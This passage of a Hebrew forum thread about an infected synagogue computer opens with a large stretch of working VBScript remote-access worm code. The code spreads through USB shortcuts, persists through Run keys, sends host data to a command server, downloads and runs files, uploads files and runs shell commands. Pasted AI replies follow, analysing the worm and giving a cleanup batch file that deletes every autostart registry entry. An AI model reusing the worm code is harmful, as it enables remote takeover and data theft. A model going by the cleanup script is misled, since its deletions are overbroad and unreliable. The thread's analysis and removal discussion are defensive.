                                            lnkobj.iconlocation = file.path
                                        else 
                                            lnkobj.iconlocation = fileicon
                                        end if
                                        lnkobj.save()
                                    end if
                                end if
                            end if
                        next
                        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                            if not lnkfolder then exit for
                            folder.attributes = 2+4
                            foldername = folder.name
                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                            lnkobj.windowstyle = 7
                            lnkobj.targetpath = "cmd.exe"
                            lnkobj.workingdirectory = ""
                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                            if  instr (foldericon,",") = 0 then
                                lnkobj.iconlocation = folder.path
                            else 
                                lnkobj.iconlocation = foldericon
                            end if
                            lnkobj.save()
                        next
                    end If
                    end If
                    end if
                    next
                    err.clear
                    end sub
                    
                    sub uninstall
                    on error resume next
                    dim filename
                    dim foldername
                    
                    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                    filesystemobj.deletefile startup & installname ,true
                    filesystemobj.deletefile wscript.scriptfullname ,true
                    
                    for  each drive in filesystemobj.drives
                    if  drive.isready = true then
                    if  drive.freespace  > 0 then
                    if  drive.drivetype  = 1 then
                        for  each file in filesystemobj.getfolder ( drive.path & "\").files
                             on error resume next
                             if  instr (file.name,".") then
                                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                     file.attributes = 0
                                     if  ucase (file.name) <> ucase (installname) then
                                         filename = split(file.name,".")
                                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                     else
                                         filesystemobj.deletefile (drive.path & "\" & file.name)
                                     end If
                                 else
                                     filesystemobj.deletefile (file.path) 
                                 end if
                             end if
                         next
                         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                             folder.attributes = 0
                         next
                    end if
                    end if
                    end if
                    next
                    wscript.quit
                    end sub
                    
                    function post (cmd ,param)
                    
                    post = param
                    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                    httpobj.setrequestheader "user-agent:",information
                    httpobj.send param
                    post = httpobj.responsetext
                    end function
                    
                    function information
                    on error resume next
                    if  inf = "" then
                        inf = hwid & spliter 
                        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                    
                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set os = root.execquery ("select * from win32_operatingsystem")
                        for each osinfo in os
                           inf = inf & osinfo.caption & spliter  
                           exit for
                        next
                        inf = inf & "plus" & spliter
                        inf = inf & security & spliter
                        inf = inf & usbspreading
                        information = inf  
                    else
                        information = inf
                    end if
                    end function
                    
                    sub upstart ()
                    on error resume Next
                    
                    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                    
                    end sub
                    
                    function hwid
                    on error resume next
                    
                    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set disks = root.execquery ("select * from win32_logicaldisk")
                    for each disk in disks
                        if  disk.volumeserialnumber <> "" then
                            hwid = disk.volumeserialnumber
                            exit for
                        end if
                    next
                    end function
                    
                    function security 
                    on error resume next
                    
                    security = ""
                    
                    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                    for each objitem in colitems
                        versionstr = split (objitem.version,".")
                    next
                    versionstr = split (colitems.version,".")
                    osversion = versionstr (0) & "."
                    for  x = 1 to ubound (versionstr)
                         osversion = osversion &  versionstr (i)
                    next
                    osversion = eval (osversion)
                    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                    
                    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                    
                    for each objantivirus in colantivirus
                        security  = security  & objantivirus.displayname & " ."
                    next
                    if security  = "" then security  = "nan-av"
                    end function
                    
                    function instance
                    on error resume next
                    
                    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                    if usbspreading = "" then
                       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                          usbspreading = "true - " & date
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                       else
                          usbspreading = "false - " & date
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                    
                       end if
                    end If
                    
                    
                    upstart
                    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                        wscript.quit 
                    end If
                    err.clear
                    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                    if  err.number > 0 then wscript.quit
                    end function
                    
                    sub sitedownloader (fileurl,filename)
                    
                    strlink = fileurl
                    strsaveto = installdir & filename
                    set objhttpdownload = createobject("msxml2.xmlhttp" )
                    objhttpdownload.open "get", strlink, false
                    objhttpdownload.send
                    
                    set objfsodownload = createobject ("scripting.filesystemobject")
                    if  objfsodownload.fileexists (strsaveto) then
                        objfsodownload.deletefile (strsaveto)
                    end if
                     
                    if objhttpdownload.status = 200 then
                       dim  objstreamdownload
                       set  objstreamdownload = createobject("adodb.stream")
                       with objstreamdownload
                            .type = 1 
                            .open
                            .write objhttpdownload.responsebody
                            .savetofile strsaveto
                            .close
                       end with
                       set objstreamdownload = nothing
                    end if
                    if objfsodownload.fileexists(strsaveto) then
                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                    end if 
                    end sub
                    
                    sub download (fileurl,filedir)
                    
                    if filedir = "" then 
                       filedir = installdir
                    end if
                    
                    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                    set objhttpdownload = createobject("msxml2.xmlhttp")
                    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                    objhttpdownload.send ""
                         
                    set objfsodownload = createobject ("scripting.filesystemobject")
                    if  objfsodownload.fileexists (strsaveto) then
                        objfsodownload.deletefile (strsaveto)
                    end if
                    if  objhttpdownload.status = 200 then
                        dim  objstreamdownload
                        set  objstreamdownload = createobject("adodb.stream")
                        with objstreamdownload 
                             .type = 1 
                             .open
                             .write objhttpdownload.responsebody
                             .savetofile strsaveto
                             .close
                        end with
                        set objstreamdownload  = nothing
                    end if
                    if objfsodownload.fileexists(strsaveto) then
                       shellobj.run objfsodownload.getfile (strsaveto).shortpath
                    end if 
                    end sub
                    
                    function upload (fileurl)
                    
                    dim  httpobj,objstreamuploade,buffer
                    set  objstreamuploade = createobject("adodb.stream")
                    with objstreamuploade 
                         .type = 1 
                         .open
                         .loadfromfile fileurl
                         buffer = .read
                         .close
                    end with
                    set objstreamdownload = nothing
                    set httpobj = createobject("msxml2.xmlhttp")
                    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                    httpobj.send buffer
                    end function
                    
                    function enumdriver ()
                    
                    for  each drive in filesystemobj.drives
                    if   drive.isready = true then
                         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                    end if
                    next
                    end Function
                    
                    function enumfaf (enumdir)
                    
                    enumfaf = enumdir & spliter
                    for  each folder in filesystemobj.getfolder (enumdir).subfolders
                         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                    next
                    
                    for  each file in filesystemobj.getfolder (enumdir).files
                         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                    
                    next
                    end function
                    
                    function enumprocess ()
                    
                    on error resume next
                    
                    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                    set colitems = objwmiservice.execquery("select * from win32_process",,48)
                    
                    dim objitem
                    for each objitem in colitems
                        enumprocess = enumprocess & objitem.name & "|"
                        enumprocess = enumprocess & objitem.processid & "|"
                        enumprocess = enumprocess & objitem.executablepath & spliter
                    next
                    end function
                    
                    sub exitprocess (pid)
                    on error resume next
                    
                    shellobj.run "taskkill /F /T /PID " & pid,7,true
                    end sub
                    
                    sub deletefaf (url)
                    on error resume next
                    
                    filesystemobj.deletefile url
                    filesystemobj.deletefolder url
                    
                    end sub
                    
                    function cmdshell (cmd)
                    
                    dim httpobj,oexec,readallfromany
                    
                    set oexec = shellobj.exec ("%comspec% /c " & cmd)
                    if not oexec.stdout.atendofstream then
                       readallfromany = oexec.stdout.readall
                    elseif not oexec.stderr.atendofstream then
                       readallfromany = oexec.stderr.readall
                    else 
                       readallfromany = ""
                    end if
                    
                    cmdshell = readallfromany
                    end function
                    
                    א מנותק
                    א מנותק
                    אור אור אור
                    כתב נערך לאחרונה על ידי אור אור אור
                    #25

                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                    וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                    אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                    הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                    זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                    1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                      בראש הקוד מופיעים המשתנים host ו-port:

                    Host: khattab.no-ipbiz

                    Port: 5550
                    הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                    1. איסוף מידע (Reconnaissance)
                      הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                    שם המחשב ושם המשתמש.

                    מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                    גרסת מערכת ההפעלה.

                    בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                    1. מנגנון הפצה (USB Spreading)
                      אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                    הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                    הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                    ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                    1. יכולות שליטה מרחוק
                      הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                    execute: הרצת קוד VBScript ישירות בזיכרון.

                    send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                    enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                    cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                    update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                    1. הישרדות במערכת (Persistence)
                      הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                    [!CAUTION]
                    שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                    cfopuserC תגובה 1 תגובה אחרונה
                    0
                    • א מנותק
                      א מנותק
                      אור אור אור
                      כתב נערך לאחרונה על ידי אור אור אור
                      #26

                      וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                      צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                      הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                      הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                      1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                        הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                      תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                      תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                      רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                      בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                      1. שלבי הניקוי (בצע לפי הסדר)
                        כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                      א. עצירת התהליך
                      לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                      חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                      לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                      ב. מחיקה מהרישום (Registry)
                      לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                      נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                      חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                      בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                      ג. מחיקת הקבצים הפיזיים
                      פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                      הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                      1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                        אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                      חבר את הכונן הנגוע.

                      פתח את "שורת הפקודה" (CMD) כמנהל.

                      הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                      הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                      attrib -h -r -s /s /d .

                      כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                      עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                      כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                      האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                      כן

                      כן

                      ‫Gemini אמר
                      הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                      הוראות ביצוע:
                      העתק את הקוד למטה.

                      פתח את "פנקס רשימות" (Notepad).

                      הדבק את הקוד בתוכו.

                      שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                      לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                      הקוד לניקוי המחשב:
                      קטע קוד
                      @echo off
                      color 0A
                      echo Stopping Virus Process...
                      taskkill /F /IM wscript.exe /T

                      echo.
                      echo Deleting Virus Files...
                      del /F /Q "%temp%*.vbs"
                      del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                      echo.
                      echo Cleaning Registry Keys...
                      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                      echo.
                      echo Restoration Complete.
                      echo Please check your USB drives separately using the 'attrib' command.
                      pause
                      מה הקוד הזה עושה בפועל?
                      taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                      del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                      reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                      [!CAUTION]
                      שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                      טיפול בכונני ה-USB (הדיסק-און-קי):
                      אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                      attrib -h -r -s /s /d X:*.*
                      (החלף את האות X באות של הכונן שלך).

                      זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                      האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                      אמרת
                      כן

                      ‫Gemini אמר
                      כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                      הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                      אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                      בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                      צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                      לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                      בחר ב-"פנקס רשימות" (Notepad).

                      חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                      לחץ על אישור.

                      התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                      אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                      זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                      לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                      נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                      בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                      קרא לערך החדש בשם: Enabled.

                      וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                      סגור את הרישום והפעל מחדש את המחשב.

                      התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                      טיפ קטן לגבאי / אחראי המחשב:
                      מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                      [!NOTE]
                      אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                      ה תגובה 1 תגובה אחרונה
                      -1
                      • א אור אור אור

                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

                        אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
                        הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

                        זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

                        1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                          בראש הקוד מופיעים המשתנים host ו-port:

                        Host: khattab.no-ipbiz

                        Port: 5550
                        הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

                        1. איסוף מידע (Reconnaissance)
                          הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

                        שם המחשב ושם המשתמש.

                        מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

                        גרסת מערכת ההפעלה.

                        בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

                        1. מנגנון הפצה (USB Spreading)
                          אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

                        הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

                        הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

                        ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

                        1. יכולות שליטה מרחוק
                          הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

                        execute: הרצת קוד VBScript ישירות בזיכרון.

                        send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

                        enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

                        cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

                        update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

                        1. הישרדות במערכת (Persistence)
                          הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

                        [!CAUTION]
                        שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

                        cfopuserC מנותק
                        cfopuserC מנותק
                        cfopuser
                        כתב נערך לאחרונה על ידי cfopuser
                        #27

                        @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        אני מקווה שזה בסדר.

                        זה לא,
                        מהסיבה הפשוטה שלכולם יש גישה לai,
                        אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                        בנוסף זה מנוגד לחוקי הפורום,

                        מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                        ה תגובה 1 תגובה אחרונה
                        3
                        • cfopuserC cfopuser

                          @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                          אני מקווה שזה בסדר.

                          זה לא,
                          מהסיבה הפשוטה שלכולם יש גישה לai,
                          אז חוץ מלהסתיר ולמלאות את כול המסך לגוללים לא הרווחנו כלום.

                          בנוסף זה מנוגד לחוקי הפורום,

                          מטרת הפורום היא לתת תשובה מדויקת ומקצועית לשואל על-פי המידע והניסיון האישי של המשתמשים העונים, ולכן אין להגיב לשואל במענה ממנוע בינה מלאכותית כמו "צ'אט GPT" וכד', השואל יכול לעשות זאת בעצמו ולא לשם כך הוא פתח את הנושא, כמו כן אין להעלות פוסטים משלכם שנוסחו ע"י בינה מלאכותית, זה מספים ומוריד את הרמה, בפרט אם זה עם המון מלל או אימוג'ים.

                          ה מחובר
                          ה מחובר
                          הישבשר המלומד
                          כתב נערך לאחרונה על ידי
                          #28
                          פוסט זה נמחק!
                          תגובה 1 תגובה אחרונה
                          0
                          • א מנותק
                            א מנותק
                            אור אור אור
                            כתב נערך לאחרונה על ידי
                            #29

                            חבל מאד שאין לי אפשרות לצ'אט עמו.
                            אני מתכוין בל"נ למחוק את זה מייד כשהוא יראה.
                            אגב, זה פשוט מרתק לראות איך הקוד עובד, ביקשתי פירוט וזה היה מעניין.
                            אני לא מעלה את זה פה, כי יש פה גאוני תיכנות שזה בשבילם שטויות.
                            ובאמת כל אחד כמעט יכול לבדוק בעצמו...

                            תגובה 1 תגובה אחרונה
                            1
                            • A מנותק
                              A מנותק
                              AMDesign
                              כתב נערך לאחרונה על ידי
                              #30

                              @רנדומלי
                              למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                              ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                              ת כ 2 תגובות תגובה אחרונה
                              1
                              • A AMDesign

                                @רנדומלי
                                למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                                ת מנותק
                                ת מנותק
                                תלמידהון
                                כתב נערך לאחרונה על ידי תלמידהון
                                #31

                                @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                                לפי איזה פרמטר הוא יותר חזק?
                                דיפנדר טוב מאוד וחינמי

                                A תגובה 1 תגובה אחרונה
                                0
                                • ת תלמידהון

                                  @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,

                                  לפי איזה פרמטר הוא יותר חזק?
                                  דיפנדר טוב מאוד וחינמי

                                  A מנותק
                                  A מנותק
                                  AMDesign
                                  כתב נערך לאחרונה על ידי
                                  #32

                                  @תלמידהון
                                  למען האמת שאין לי מושג באמת (משתמש במק שלא מצוי כ״כ וירוסים אז אין לי אנטי וירוס) אבל כך ידוע שאיסט הכי טוב.
                                  דיפנדר מנסיון העבר (הלא רחוק, ובהווה לפעמים) לא משהו.

                                  מתכנת חובבמ תגובה 1 תגובה אחרונה
                                  0
                                  • A AMDesign

                                    @רנדומלי
                                    למניעת ההדבקה הבאה, מומלץ להתקין אנטי ווירוס יותר חזק יותר כמו eset,
                                    ואולי אפילו גרסה בתשלום אם זה מתאפשר....

                                    כ מנותק
                                    כ מנותק
                                    כככככ
                                    כתב נערך לאחרונה על ידי
                                    #33

                                    @AMDesign כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    רנדומלי
